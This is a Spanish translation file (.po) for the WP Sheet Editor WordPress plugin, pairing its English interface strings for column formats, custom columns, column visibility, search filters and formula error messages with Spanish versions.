"capacidad requerida." #: columns-manager/columns-manager.php:1154 msgid "Separated with commas" msgstr "Separados por comas" #: columns-manager/columns-manager.php:1155 msgid "Serialized array" msgstr "Array serializado" #: columns-manager/columns-manager.php:1158 msgid "File ID" msgstr "ID del archivo" #: columns-manager/columns-manager.php:1159 formulas/inc/ui.php:998 #: universal-sheet/views/import-modal.php:43 msgid "File URL" msgstr "URL del archivo" #: columns-manager/columns-manager.php:1162 msgid "Use default" msgstr "Usar por defecto" #: columns-manager/columns-manager.php:1163 formulas/inc/ui.php:554 #: woocommerce/inc/attributes.php:281 msgid "Yes" msgstr "Sí" #: columns-manager/columns-manager.php:1164 formulas/inc/ui.php:554 #: woocommerce/inc/attributes.php:281 msgid "No" msgstr "No" #: columns-manager/columns-manager.php:1167 #: columns-manager/columns-manager.php:1172 #: wp-sheet-editor/dev/inc/api/bootstrap.php:463 #: wp-sheet-editor/dev/inc/api/custom-tables-bootstrap.php:22 msgid "ID" msgstr "ID" #: columns-manager/columns-manager.php:1168 msgid "Username" msgstr "Nombre de usuario" #: columns-manager/columns-manager.php:1169 #: columns-manager/columns-manager.php:1212 msgid "Email" msgstr "Correo electrónico" #: columns-manager/columns-manager.php:1173 #: wp-sheet-editor/dev/inc/api/bootstrap.php:484 #: wp-sheet-editor/dev/inc/teasers/post-types.php:93 #: wp-sheet-editor/dev/inc/teasers/post-types.php:108 msgid "Title" msgstr "Título" #: columns-manager/columns-manager.php:1174 #: columns-manager/columns-manager.php:1183 msgid "Slug" msgstr "Slug" #: columns-manager/columns-manager.php:1177 msgid "Saved them separated by comma" msgstr "Guárdalos separados por comas" #: columns-manager/columns-manager.php:1178 msgid "Save them as serialized array" msgstr "Guárdalos como un array serializado" #: columns-manager/columns-manager.php:1181 msgid "Term ID" msgstr "ID del término" #: columns-manager/columns-manager.php:1182 woocommerce/inc/attributes.php:779 #: woocommerce/inc/attributes.php:780 woocommerce/inc/downloadable.php:258 #: woocommerce/inc/downloadable.php:259 woocommerce/inc/variations.php:506 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:868 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:869 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:946 msgid "Name" msgstr "Nombre" #: columns-manager/columns-manager.php:1187 msgid "Same as the spreadsheet taxonomy" msgstr "Igual que la taxonomía de la hoja de cálculo" #: columns-manager/columns-manager.php:1193 msgid "Same as the spreadsheet post type" msgstr "Igual que el post type de la hoja de cálculo" #: columns-manager/columns-manager.php:1198 msgid "Automatic" msgstr "Automático" #: columns-manager/columns-manager.php:1199 msgid "Text" msgstr "Texto" #: columns-manager/columns-manager.php:1200 msgid "Text editor (tinymce)" msgstr "Editor de texto (tinymce)" #: columns-manager/columns-manager.php:1201 msgid "Single selection dropdown" msgstr "Desplegable de selección simple" #: columns-manager/columns-manager.php:1202 msgid "Multi select dropdown" msgstr "Desplegable de selección múltiple" #: columns-manager/columns-manager.php:1203 msgid "Checkbox" msgstr "Casilla de verificación" #: columns-manager/columns-manager.php:1204 msgid "File upload" msgstr "Cargar archivo" #: columns-manager/columns-manager.php:1205 #: wp-sheet-editor/dev/inc/api/bootstrap.php:614 #: wp-sheet-editor/dev/inc/teasers/post-types.php:97 msgid "Date" msgstr "Fecha" #: columns-manager/columns-manager.php:1206 msgid "Date and time" msgstr "Fecha y hora" #: columns-manager/columns-manager.php:1207 msgid "User dropdown" msgstr "Desplegable de usuario" #: columns-manager/columns-manager.php:1208 msgid "Post dropdown" msgstr "Desplegable de posts" #: columns-manager/columns-manager.php:1209 msgid "Taxonomy term dropdown" msgstr "Desplegable de términos de taxonomía" #: columns-manager/columns-manager.php:1210 msgid "Currency" msgstr "Moneda" #: columns-manager/columns-manager.php:1211 msgid "URL" msgstr "URL" #: columns-manager/columns-manager.php:1213 formulas/inc/ui.php:336 #: formulas/inc/ui.php:364 msgid "Number" msgstr "Número" #: columns-manager/columns-manager.php:1214 msgid "Clickable button" msgstr "Botón" #: columns-manager/columns-manager.php:1215 msgid "Raw HTML" msgstr "Raw HTML" #: columns-manager/columns-manager.php:1221 #: wp-sheet-editor/dev/inc/api/helpers.php:955 msgid "Default" msgstr "Por defecto" #: columns-manager/columns-manager.php:1233 msgid "Column format" msgstr "Formato de columna" #: columns-manager/columns-manager.php:1238 msgid "" "This format will only allow administrators with the capability " "unfiltered_html to save any HTML in this column, we'll still remove unsafe " "html tags when non-administrators save values in this column." msgstr "" "Este formato sólo permitirá a los administradores con la capacidad " "unfiltered_html guardar cualquier HTML en esta columna, seguiremos " "eliminando las etiquetas html no seguras cuando los no administradores " "guarden valores en esta columna." #: columns-manager/columns-manager.php:1241 msgid "" "This can be used if the cell value will always be a URL, so the cell will be " "displayed as readonly and it will contain a button that will open the URL " "from the cell value." msgstr "" "Esto se puede utilizar si el valor de la celda será siempre una URL, por lo " "que la celda se mostrará como de sólo lectura y contendrá un botón que " "abrirá la URL a partir del valor de la celda." #: columns-manager/columns-manager.php:1244 #: columns-manager/columns-manager.php:1249 msgid "Allowed values" msgstr "Valores permitidos" #: columns-manager/columns-manager.php:1245 #: columns-manager/columns-manager.php:1250 msgid "" "Enter each choice on a new line. For more control, you may specify both a " "value and label like this: red : Red" msgstr "" "Ingresa cada selección en una nueva línea. Para mayor control, puedes " "especificar un valor y una etiqueta así: rojo : Rojo" #: columns-manager/columns-manager.php:1252 msgid "How are the multiple values saved in the database?" msgstr "¿Cómo se guardan los valores múltiples en la base de datos?" #: columns-manager/columns-manager.php:1257 msgid "What value is saved when the checkbox is checked?" msgstr "¿Qué valor se guarda cuando la casilla de verificación está marcada?" #: columns-manager/columns-manager.php:1259 msgid "What value is saved when the checkbox is unchecked?" msgstr "" "¿Qué valor se guarda cuando la casilla de verificación está desmarcada?" #: columns-manager/columns-manager.php:1263 msgid "" "You will be able to type the username in the cell and the cell will show a " "dropdown with suggestions." msgstr "" "Podrás escribir el nombre de usuario en la celda y ésta mostrará un " "desplegable con sugerencias." #: columns-manager/columns-manager.php:1264 msgid "How is the user saved in the database?" msgstr "¿Cómo se guarda el usuario en la base de datos?" #: columns-manager/columns-manager.php:1269 msgid "" "You will be able to type the term name in the cell and the cell will show a " "dropdown with suggestions." msgstr "" "Podrás escribir el nombre del término en la celda y ésta mostrará un " "desplegable con sugerencias." #: columns-manager/columns-manager.php:1270 msgid "How is the taxonomy term saved in the database?" msgstr "¿Cómo se guarda el término taxonómico en la base de datos?" #: columns-manager/columns-manager.php:1275 msgid "Allow multiple terms per field?" msgstr "¿Permitir varios términos por campo?" #: columns-manager/columns-manager.php:1277 msgid "How do you want to save the multiple terms?" msgstr "¿Cómo quieres guardar los términos múltiples?" #: columns-manager/columns-manager.php:1280 msgid "Accept terms from this taxonomy" msgstr "Aceptar términos de esta taxonomía" #: columns-manager/columns-manager.php:1281 msgid "" "For example, if you select the blog categories, we will only accept blog " "categories in this column." msgstr "" "Por ejemplo, si seleccionas las categorías del blog, sólo aceptaremos " "categorías del blog en esta columna." #: columns-manager/columns-manager.php:1285 msgid "" "You will be able to type numbers without formatting, for example: 999999.88 " "or 100, and we will automatically save them in the formatted way. This " "conversion will happen when you save and not live when you edit in the cells " "and you will see the modified values on the next spreadsheet reload." msgstr "" "Podrás escribir números sin formato, por ejemplo: 999999.88 o 100, y los " "guardaremos automáticamente con formato. Esta conversión se producirá cuando " "guardes y no en directo cuando edites en las celdas y verás los valores " "modificados en la siguiente recarga de la hoja de cálculo." #: columns-manager/columns-manager.php:1286 msgid "Number of decimals" msgstr "Número de decimales" #: columns-manager/columns-manager.php:1289 msgid "Decimals separator" msgstr "Separador de decimales" #: columns-manager/columns-manager.php:1292 msgid "Thousands separator" msgstr "Separador de miles" #: columns-manager/columns-manager.php:1296 msgid "" "You will be able to type the post title in the cell and the cell will show a " "dropdown with suggestions." msgstr "" "Podrás escribir el título de la entrada en la celda y ésta mostrará un " "desplegable con sugerencias." #: columns-manager/columns-manager.php:1297 msgid "How is the post saved in the database?" msgstr "¿Cómo se guarda el post en la base de datos?" #: columns-manager/columns-manager.php:1301 msgid "Allow multiple posts per field?" msgstr "¿Permitir varios posts por campo?" #: columns-manager/columns-manager.php:1303 msgid "How do you want to save the multiple posts?" msgstr "¿Cómo quieres guardar los posts múltiples?" #: columns-manager/columns-manager.php:1306 msgid "Accept post from this post type" msgstr "Aceptar posts de este post type" #: columns-manager/columns-manager.php:1307 msgid "" "For example, if you select the post type \"product\", we will only accept " "product titles." msgstr "" "Por ejemplo, si seleccionas el post type \"producto\", sólo aceptaremos " "títulos de productos." #: columns-manager/columns-manager.php:1311 msgid "How is the file saved in the database?" msgstr "¿Cómo se guarda el archivo en la base de datos?" #: columns-manager/columns-manager.php:1312 msgid "" "The cell will display the values as URLs and you can edit in the cells using " "full URLs, file ID, or file name.
                  External URLs are automatically " "imported into the media library.
                  We will save the value in the format " "selected here" msgstr "" "La celda mostrará los valores como URLs y puedes editar en las celdas usando " "URLs completas, el ID del archivo o el nombre del archivo.
                  Las URLs " "externas se importan automáticamente en la biblioteca multimedia." "
                  Guardaremos el valor en el formato seleccionado aquí" #: columns-manager/columns-manager.php:1316 msgid "Allow multiple files per field?" msgstr "¿Permitir varios archivos por campo?" #: columns-manager/columns-manager.php:1317 msgid "How do you want to save the multiple files?" msgstr "¿Cómo quieres guardar los archivos múltiples?" #: columns-manager/columns-manager.php:1322 msgid "What date format do you want to display in the spreadsheet?" msgstr "¿Qué formato de fecha quieres mostrar en la hoja de cálculo?" #: columns-manager/columns-manager.php:1323 msgid "" "Enter a date format. List of formats. If you leave it " "empty, we'll use the default: Y-m-d" msgstr "" "Ingresa un formato de fecha. Lista de formatos. Si lo " "dejas vacío, usaremos el formato por defecto: A-m-d" #: columns-manager/columns-manager.php:1326 #: columns-manager/columns-manager.php:1335 msgid "What date format do you want to save in the database?" msgstr "¿Qué formato de fecha quieres guardar en la base de datos?" #: columns-manager/columns-manager.php:1327 msgid "" "Enter a date format. List of formats. Example: Y-m-d" msgstr "" "Ingresa un formato de fecha. Lista de formatos. Ejemplo: " "A-m-d" #: columns-manager/columns-manager.php:1331 msgid "What date time format do you want to display in the spreadsheet?" msgstr "" "¿Qué formato de fecha y hora quieres que se muestre en la hoja de cálculo?" #: columns-manager/columns-manager.php:1332 msgid "" "Enter a date format. List of formats. If you leave it " "empty, we'll use the default: Y-m-d H:i:s" msgstr "" "Ingresa un formato de fecha. Lista de formatos. Ejemplo: " "D-M-A\n" "\n" "Ingresa un formato de fecha. Lista de formatos. Si lo " "dejas vacío, usaremos el formato por defecto: A-m-d H:i:s" #: columns-manager/columns-manager.php:1336 msgid "" "Enter a date format. List of formats. Example: Y-m-d H:i:s" msgstr "" "Ingresa un formato de fecha. Lista de formatos. Ejemplo: " "A-m-d H:i:s" #: columns-manager/inc/column-groups.php:49 msgid "Spreadsheet views" msgstr "Vista de hojas de cálculo" #: columns-manager/inc/column-groups.php:82 #: wp-sheet-editor/dev/inc/options-init.php:562 #: wp-sheet-editor/dev/wp-sheet-editor.php:1147 msgid "WP Sheet Editor" msgstr "WP Sheet Editor" #: columns-manager/inc/column-groups.php:83 msgid "" "Note. This is not a security feature, the user can edit all the fields in " "the normal editor based on the role. This option is for convenience, so they " "only see the columns they need when they open the spreadsheet editor. If you " "leave these fields empty they can switch between all the existing views" msgstr "" "Nota. Esta no es una característica de seguridad, el usuario puede editar " "todos los campos en el editor normal basado en el rol. Esta opción es por " "conveniencia, para que los usuarios puedan solo ver las columnas que " "necesitan cuando abran la hoja de cálculo. Si dejas estos campos vacíos, " "podrán cambiar entre todas las vistas existentes" #: columns-manager/inc/column-groups.php:100 msgid "%s: Allowed spreadsheet views" msgstr "%s: Hojas de cálculo permitidas" #: columns-manager/inc/column-groups.php:103 msgid "Please enter the name of the spreadsheet views separated by commas." msgstr "" "Por favor, ingresa el nombre de las vistas de la hoja de cálculo separadas " "por comas." #: columns-manager/inc/column-groups.php:332 msgid "Add a name for this group of columns" msgstr "Agrega un nombre para este grupo de columnas" #: columns-manager/inc/column-groups.php:332 msgid "" "We will save this group of columns as a spreadsheet view and you can switch " "between spreadsheets in the toolbar" msgstr "" "Guardaremos este grupo de columnas como una vista de la hoja de cálculo y " "podrás cambiar entre vistas en la barra de herramientas" #: columns-renaming/columns-renaming.php:45 #: wp-sheet-editor/dev/inc/api/editor.php:326 msgid "Rename column" msgstr "Renombrar columna" #: columns-renaming/columns-renaming.php:59 #: columns-visibility/columns-visibility.php:156 #: columns-visibility/columns-visibility.php:169 #: columns-visibility/columns-visibility.php:209 #: universal-sheet/universal-sheet.php:139 woocommerce/inc/attributes.php:795 #: woocommerce/inc/attributes.php:1015 woocommerce/inc/variations.php:1252 #: woocommerce/inc/variations.php:1279 wp-sheet-editor/dev/inc/ajax.php:73 #: wp-sheet-editor/dev/inc/ajax.php:160 wp-sheet-editor/dev/inc/ajax.php:192 #: wp-sheet-editor/dev/inc/ajax.php:237 wp-sheet-editor/dev/inc/ajax.php:284 #: wp-sheet-editor/dev/inc/ajax.php:305 wp-sheet-editor/dev/inc/ajax.php:383 msgid "Missing parameters." msgstr "Parámetros faltantes." #: columns-renaming/columns-renaming.php:63 #: columns-visibility/columns-visibility.php:160 #: columns-visibility/columns-visibility.php:173 #: columns-visibility/columns-visibility.php:269 msgid "You dont have enough permissions to execute this action." msgstr "No tienes suficientes permisos para ejecutar esta acción." #: columns-visibility/columns-visibility.php:164 msgid "" "Columns restored successfully, please reload the page to see the restored " "columns and enable them" msgstr "" "Columnas restauradas con éxito. Por favor, recarga la página para ver las " "columnas restauradas y habilitarlas" #: columns-visibility/columns-visibility.php:356 msgid "Hide / Display / Sort columns" msgstr "Ocultar / Mostrar columnas" #: columns-visibility/views/form.php:12 msgid "" "Drag the columns to the left or right side to enable/disable them, drag them " "to the top or bottom to sort them, click on the \"edit\" button to rename " "them, click on the \"x\" button to delete them completely (only when they " "are disabled previously)." msgstr "" "Arrastra las columnas a la izquierda o a la derecha para habilitarlas/" "deshabilitarlas. Arrástralas hacia arriba o hacia abajo para reordenarlas. " "Haz clic en el botón \"editar\" para renombrarlas, haz clic en el botón " "\"x\" para borrarlas por completo (sólo cuando estén deshabilitadas " "previamente)." #: columns-visibility/views/form.php:15 columns-visibility/views/form.php:73 msgid "Enable all" msgstr "Habilitar todas" #: columns-visibility/views/form.php:16 columns-visibility/views/form.php:27 msgid "Disable all" msgstr "Deshabilitar todas" #: columns-visibility/views/form.php:22 msgid "Enabled" msgstr "Habilitadas" #: columns-visibility/views/form.php:22 columns-visibility/views/form.php:67 msgid "Bulk" msgstr "Masivo" #: columns-visibility/views/form.php:24 columns-visibility/views/form.php:70 msgid "Enter a search term..." msgstr "Ingresa un término de búsqueda..." #: columns-visibility/views/form.php:26 columns-visibility/views/form.php:72 #: universal-sheet/views/import-modal.php:85 msgid "Bulk actions" msgstr "Acciones masivas" #: columns-visibility/views/form.php:28 columns-visibility/views/form.php:75 msgid "Sort alphabetically ASC" msgstr "Ordenar alfabéticamente ASC" #: columns-visibility/views/form.php:29 columns-visibility/views/form.php:76 msgid "Sort alphabetically DESC" msgstr "Ordenar alfabéticamente DESC" #: columns-visibility/views/form.php:56 columns-visibility/views/form.php:99 msgid "" "Remove column completely. If you want to use it later you can disable it by " "dragging and dropping to the right column" msgstr "" "Quitar la columna completamente. Si quieres usarla más tarde, puedes " "deshabilitarla arrastrando y soltando a la columna de la derecha" #: columns-visibility/views/form.php:58 columns-visibility/views/form.php:101 msgid "Disable column. You can enable it later." msgstr "Deshabilitar columna. Puedes habilitarla más tarde." #: columns-visibility/views/form.php:59 columns-visibility/views/form.php:102 msgid "Enable column" msgstr "Habilitar columna" #: columns-visibility/views/form.php:67 msgid "Disabled" msgstr "Deshabilitada" #: columns-visibility/views/form.php:74 msgid "Delete all" msgstr "Borrar todo" #: columns-visibility/views/form.php:95 msgid "Enabling this column requires a page reload" msgstr "Habilitar esta columna requiere una recarga de la página" #: columns-visibility/views/form.php:114 msgid "A column is missing?" msgstr "¿Falta una columna?" #: columns-visibility/views/form.php:116 msgid "" "- First, edit one item in the normal editor and fill all the fields manually." msgstr "" "- Primero, edita un elemento en el editor normal y rellena todos los campos " "manualmente." #: columns-visibility/views/form.php:125 msgid "" "- We can scan the database, find new fields, and create columns automatically" msgstr "" "- Podemos escanear la base de datos, encontrar nuevos campos y crear " "columnas automáticamente" #: columns-visibility/views/form.php:132 msgid "You can do this multiple times" msgstr "Puedes hacer esto varias veces" #: columns-visibility/views/form.php:132 msgid "Scan Now" msgstr "Escanear Ahora" #: columns-visibility/views/form.php:137 msgid "- If the previous solution failed, you can create new columns manually." msgstr "" "- Si la solución anterior falló, puedes crear nuevas columnas manualmente." #: columns-visibility/views/form.php:137 msgid "Create column" msgstr "Crear columna" #: columns-visibility/views/form.php:139 msgid "- Maybe you deleted the columns from the list." msgstr "- Quizá eliminaste las columnas de la lista." #: columns-visibility/views/form.php:139 msgid "Restore deleted columns" msgstr "Restaurar columnas eliminadas" #: columns-visibility/views/form.php:140 msgid "- We can help you." msgstr "- Podemos ayudarte." #: columns-visibility/views/form.php:140 #: wp-sheet-editor/dev/inc/integrations/notifier.php:291 #: wp-sheet-editor/dev/wp-sheet-editor.php:1056 msgid "Contact us" msgstr "Contáctanos" #: columns-visibility/views/form.php:146 msgid "Save these settings for future sessions?" msgstr "¿Guardar estos ajustes para sesiones futuras?" #: columns-visibility/views/form.php:154 msgid "Apply settings" msgstr "Aplicar ajustes" #: columns-visibility/views/form.php:155 filters/filters.php:573 #: formulas/inc/ui.php:153 universal-sheet/views/import-modal.php:228 #: woocommerce/views/spreadsheet-create-variations-modal.php:112 #: wp-sheet-editor/dev/inc/integrations/notifier.php:296 #: wp-sheet-editor/dev/inc/teasers/formulas.php:76 #: wp-sheet-editor/dev/inc/teasers/frontend.php:78 #: wp-sheet-editor/dev/inc/teasers/post-types.php:133 #: wp-sheet-editor/dev/views/editor-page.php:289 #: wp-sheet-editor/dev/views/editor-page.php:340 #: wp-sheet-editor/dev/views/editor-page.php:364 #: wp-sheet-editor/dev/views/extensions-modal.php:10 #: wp-sheet-editor/dev/views/settings-form.php:121 #: wp-sheet-editor/dev/views/support-modal.php:24 msgid "Close" msgstr "Cerrar" #: custom-columns/custom-columns.php:431 msgid "Add columns for custom fields" msgstr "Añadir columnas nuevas para campos personalizados" #: custom-columns/custom-columns.php:580 msgid "Missing columns" msgstr "Columnas faltantes" #: custom-columns/custom-columns.php:622 msgid "Missing post type or column_key" msgstr "Falta el post type o la column_key (clave de la columna)" #: custom-columns/custom-columns.php:625 custom-columns/custom-columns.php:649 #: custom-columns/custom-columns.php:672 msgid "" "You are not allowed to do this action. Please reload the page or log in " "again." msgstr "" "No puedes realizar esta acción. Por favor, recarga la página o inicia sesión " "de nuevo." #: custom-columns/custom-columns.php:635 msgid "The meta field was deleted successfully" msgstr "El campo meta fue eliminado con éxito" #: custom-columns/custom-columns.php:639 msgid "The meta field could not be deleted." msgstr "El campo meta no pudo ser eliminado." #: custom-columns/custom-columns.php:646 msgid "" "Missing post type, old_column_key, or new_column_key; or the old and new key " "are the same." msgstr "" "Falta el post type, old_column_key, o new_column_key; o la clave antigua y " "la clave nueva son iguales." #: custom-columns/custom-columns.php:662 msgid "The meta key was renamed successfully" msgstr "La clave meta fue renombrada con éxito" #: custom-columns/custom-columns.php:666 msgid "The meta key couldnt be renamed." msgstr "La clave meta no pudo ser renombrada." #: custom-columns/custom-columns.php:703 msgid "Columns could not be saved. Try again." msgstr "Las columnas no se pudieron guardar. Inténtalo de nuevo." #: custom-columns/custom-columns.php:706 msgid "Changes saved" msgstr "Cambios guardados" #: custom-columns/custom-columns.php:720 msgid "Are you sure you want to delete this column?" msgstr "¿Estás seguro de que quieres borrar esta columna?" #: custom-columns/custom-columns.php:728 msgid "Custom columns" msgstr "Columnas personalizadas" #: custom-columns/views/settings-page.php:11 #: spreadsheet-setup/views/page.php:11 #: wp-sheet-editor/dev/inc/api/bootstrap.php:146 #: wp-sheet-editor/dev/views/editor-page.php:70 #: wp-sheet-editor/dev/views/extensions-page.php:16 #: wp-sheet-editor/dev/views/quick-setup.php:28 #: wp-sheet-editor/dev/views/settings-page.php:5 #: wp-sheet-editor/dev/views/whats-new.php:12 #: wp-sheet-editor/dev/wp-sheet-editor.php:1153 msgid "Sheet Editor" msgstr "Sheet Editor" #: custom-columns/views/settings-page.php:14 msgid "Add New Columns to the Spreadsheet" msgstr "Agregar nuevas columnas a la hoja de cálculo" #: custom-columns/views/settings-page.php:16 msgid "" "Enter the column name (anything you want), and select the field key from the " "dropdown. If you dont find it you can type it in the dropdown. View Tutorial" msgstr "" "Ingresa el nombre de la columna (lo que quieras) y selecciona la clave de " "campo en el menú desplegable. Si no la encuentras, puedes escribirla en el " "desplegable. Ver Tutorial " #: custom-columns/views/settings-page.php:17 msgid "" "Enable the advanced mode at the bottom of the page to customize the column " "width, format (editor, file upload, taxonomies), etc." msgstr "" "Habilita el modo avanzado en la parte inferior de la página para " "personalizar el ancho de la columna, el formato (editor, carga de archivos, " "taxonomías), etc." #: custom-columns/views/settings-page.php:18 #: wp-sheet-editor/dev/views/quick-setup.php:110 msgid "Need help? Contact us" msgstr "¿Necesitas ayuda? Contáctanos" #: custom-columns/views/settings-page.php:38 msgid "Column name" msgstr "Nombre de columna" #: custom-columns/views/settings-page.php:38 msgid "The column name displayed in the spreadsheet" msgstr "Nombre de la columna que se muestra en la hoja de cálculo" #: custom-columns/views/settings-page.php:42 msgid "Column key" msgstr "Clave de la columna" #: custom-columns/views/settings-page.php:42 msgid "" "The key that will be used for saving the information in the database. This " "must be unique, only letters and underscores." msgstr "" "Clave que se utilizará para guardar la información en la base de datos. Debe " "ser única, sólo letras y guiones bajos." #: custom-columns/views/settings-page.php:62 msgid "Data source" msgstr "Fuente de datos" #: custom-columns/views/settings-page.php:62 msgid "Select the kind of information used in the cells of this column." msgstr "" "Selecciona el tipo de información utilizada en las celdas de esta columna." #: custom-columns/views/settings-page.php:64 msgid "Post data" msgstr "Datos del post" #: custom-columns/views/settings-page.php:65 msgid "Post meta (i.e. metaboxes)" msgstr "Meta del post (es decir, metaboxes)" #: custom-columns/views/settings-page.php:66 msgid "Post terms (i.e. categories)" msgstr "Términos del post (es decir, categorías)" #: custom-columns/views/settings-page.php:70 msgid "Post type(s)" msgstr "Post type(s)" #: custom-columns/views/settings-page.php:70 msgid "What kind of posts require this column in the spreadsheet?" msgstr "¿Qué post types requieren esta columna en la hoja de cálculo?" #: custom-columns/views/settings-page.php:95 msgid "Allow to edit using formulas?" msgstr "¿Permitir editar usando fórmulas?" #: custom-columns/views/settings-page.php:95 msgid "If you disable this option, this column will be edited manually only." msgstr "Si deshabilitas esta opción, esta columna sólo se editará manualmente." #: custom-columns/views/settings-page.php:99 msgid "Allow to hide column?" msgstr "¿Permitir ocultar la columna?" #: custom-columns/views/settings-page.php:99 msgid "Allow to hide this column on the settings page?" msgstr "¿Permitir ocultar esta columna en la página de ajustes?" #: custom-columns/views/settings-page.php:103 msgid "Allow to rename column?" msgstr "¿Permitir renombrar la columna?" #: custom-columns/views/settings-page.php:103 msgid "Allow to rename column on the settings page?" msgstr "¿Permitir renombrar la columna en la página de ajustes?" #: custom-columns/views/settings-page.php:107 msgid "Cell type" msgstr "Tipo de celda" #: custom-columns/views/settings-page.php:107 msgid "" "Select the format of the cells, if the cells should be normal text, a file " "uploader, or text editor." msgstr "" "Selecciona el formato de las celdas, si las celdas deben ser de texto " "normal, un cargador de archivos o un editor de texto." #: custom-columns/views/settings-page.php:110 msgid "Normal cell" msgstr "Celda normal" #: custom-columns/views/settings-page.php:111 msgid "TinyMCE Editor" msgstr "Editor TinyMCE" #: custom-columns/views/settings-page.php:112 msgid "File upload (single)" msgstr "Carga de archivos (individual)" #: custom-columns/views/settings-page.php:113 msgid "File upload (multiple)" msgstr "Carga de archivos (múltiple)" #: custom-columns/views/settings-page.php:117 msgid "Plain text mode: Render as: (Use only if cell type is empty)" msgstr "" "Modo de texto sin formato: Renderizar como: (Usar sólo si el tipo de celda " "está vacío)" #: custom-columns/views/settings-page.php:119 #: custom-columns/views/settings-page.php:128 msgid "Simple text" msgstr "Texto simple" #: custom-columns/views/settings-page.php:120 #: custom-columns/views/settings-page.php:129 msgid "Calendar" msgstr "Calendario" #: custom-columns/views/settings-page.php:121 msgid "Taxonomy dropdown. Only if data source = post terms." msgstr "" "Menú desplegable de taxonomías. Sólo si la fuente de datos = Términos del " "post." #: custom-columns/views/settings-page.php:122 #: custom-columns/views/settings-page.php:131 msgid "Unfiltered HTML" msgstr "HTML sin filtrar" #: custom-columns/views/settings-page.php:126 msgid "Formatted cell mode: Render as: (Use only if cell type is empty)" msgstr "" "Modo de celda formateada: Renderizar como: (Usar sólo si el tipo de celda " "está vacío)" #: custom-columns/views/settings-page.php:130 msgid "Taxonomy dropdown" msgstr "Desplegado de taxonomías" #: custom-columns/views/settings-page.php:135 msgid "Column width (pixels)" msgstr "Ancho de columna (pixeles)" #: custom-columns/views/settings-page.php:141 formulas/inc/ui.php:195 msgid "Delete" msgstr "Eliminar" #: custom-columns/views/settings-page.php:148 #: spreadsheet-setup/views/page.php:45 #: wp-sheet-editor/dev/inc/api/editor.php:339 msgid "Add new column" msgstr "Añadir nueva columna" #: custom-columns/views/settings-page.php:152 msgid "Advanced mode" msgstr "Modo avanzado" #: factory.php:226 wp-sheet-editor/dev/wp-sheet-editor.php:1356 msgid "My license" msgstr "Mi licencia" #: filters/filters.php:197 msgid "" "To search among all posts use the Search tool. Use this to locate and " "highlight one value in the loaded rows in the spreadsheet. I.e. highlight a " "SKU or email or title." msgstr "" "Para buscar entre todos los posts, usa la herramienta de búsqueda. Se usa " "para localizar y resaltar un valor en las filas cargadas en la hoja de " "cálculo. Es decir, resaltar un SKU, correo electrónico o título específico." #: filters/filters.php:198 msgid "Locate cell" msgstr "Localizar celda" #: filters/filters.php:199 msgid "Locate cell." msgstr "Localizar celda." #: filters/filters.php:207 msgid "" "Enter a word and we will find the first matching column. You will avoid " "scrolling through dozens of columns to find the one you need." msgstr "" "Ingresa una palabra y encontraremos la primera columna coincidente. Evitarás " "tener que desplazarte por docenas de columnas para encontrar la que " "necesitas." #: filters/filters.php:208 filters/filters.php:209 msgid "Locate column" msgstr "Localizar columna" #: filters/filters.php:224 filters/filters.php:236 filters/filters.php:521 msgid "Search" msgstr "Buscar" #: filters/filters.php:236 msgid "Quick search" msgstr "Búsqueda rápida" #: filters/filters.php:236 msgid "Enter a keyword" msgstr "Ingresa una palabra clave" #: filters/filters.php:491 msgid "Contains keyword" msgstr "Contiene palabra clave" #: filters/filters.php:492 msgid "" "It searches in the post title and post content. Search by multiple keywords " "separating keywords with a semicolon (;)" msgstr "" "Busca en el título de la entrada y en su contenido. Busca por varias " "palabras clave separándolas con punto y coma (;)" #: filters/filters.php:501 wp-sheet-editor/dev/inc/api/bootstrap.php:705 #: wp-sheet-editor/dev/inc/teasers/post-types.php:99 msgid "Status" msgstr "Estado" #: filters/filters.php:559 msgid "Enter a username or email..." msgstr "Ingresa un nombre de usuario o correo electrónico..." #: filters/filters.php:572 msgid "Run search" msgstr "Ejecutar búsqueda" #: formulas/formulas.php:84 msgid "Invalid #898AJSI. The replace requires 2 parameters, we received one" msgstr "" "#898AJSI inválido. El reemplazo requiere 2 parámetros, y solo recibimos uno" #: formulas/formulas.php:97 msgid "Invalid #8W89PQ. Math formula is empty." msgstr "#8W89PQ inválido. La fórmula matemática está vacía." #: formulas/formulas.php:102 msgid "Invalid #PQ8SPQ. The math formula contains a comma: %s" msgstr "#PQ8SPQ inválido. La fórmula matemática contiene una coma: %s" #: formulas/formulas.php:107 msgid "Invalid #8W89PWQ. Math formula is invalid." msgstr "#8W89PQ inválido. La fórmula matemática está vacía." #: formulas/formulas.php:118 msgid "Invalid #PQ8PHP. The PHP function does not exist: %s" msgstr "#PQ8SPQ inválido. La función PHP no existe: %s" #: formulas/formulas.php:123 msgid "" "Invalid #8W23CV. We accept MATH and REPLACE formulas only, we received an " "unknown formula type." msgstr "" "#8W23CV inválido. Solo aceptamos fórmulas MATH y REPLACE, pero recibimos un " "tipo de fórmula desconocida." #: formulas/formulas.php:179 msgid "The random values could not be read." msgstr "Los valores aleatorios no pudieron ser leídos." #: formulas/formulas.php:319 msgid "" "The math formula can't be applied. We found some existing data is not " "numeric. Data found: %1$s, ID: %2$d" msgstr "" "No se puede aplicar la fórmula matemática. Se ha encontrado un dato que no " "es numérico. Datos encontrados: %1$s, ID: %2$d" #: formulas/formulas.php:333 msgid "" "Error. The math engine could not execute the math operation: %1$s, ID: %2$d" msgstr "" "Error. El motor matemático no pudo ejecutar la operación matemática: %1$s, " "ID: %2$d" #: formulas/formulas.php:449 msgid "The search parameter must contain $current_value$ only" msgstr "El parámetro de búsqueda debe contener $current_value$ solamente" #: formulas/formulas.php:457 msgid "Value in the replace section is not valid" msgstr "El valor en la sección de reemplazo no es válido" #: formulas/formulas.php:837 msgid "You do not have permission to delete posts." msgstr "No tiene suficientes permisos para borrar filas." #: formulas/formulas.php:882 msgid "Missing number and time unit." msgstr "Falta el número y la unidad de tiempo." #: formulas/formulas.php:886 msgid "Invalid time unit." msgstr "Unidad de tiempo inválida." #: formulas/formulas.php:891 msgid "Please indicate which terms you want to remove." msgstr "Por favor, indica cuáles términos quieres remover." #: formulas/formulas.php:897 msgid "Only administrators are allowed to send emails to users." msgstr "" "Solo los administradores pueden enviar correos electrónicos a los usuarios." #: formulas/formulas.php:900 msgid "Please enter the email subject and email message." msgstr "Ingresa el asunto y el mensaje del correo electrónico." #: formulas/formulas.php:904 msgid "The column selected is not valid." msgstr "La columna seleccionada no es válida." #: 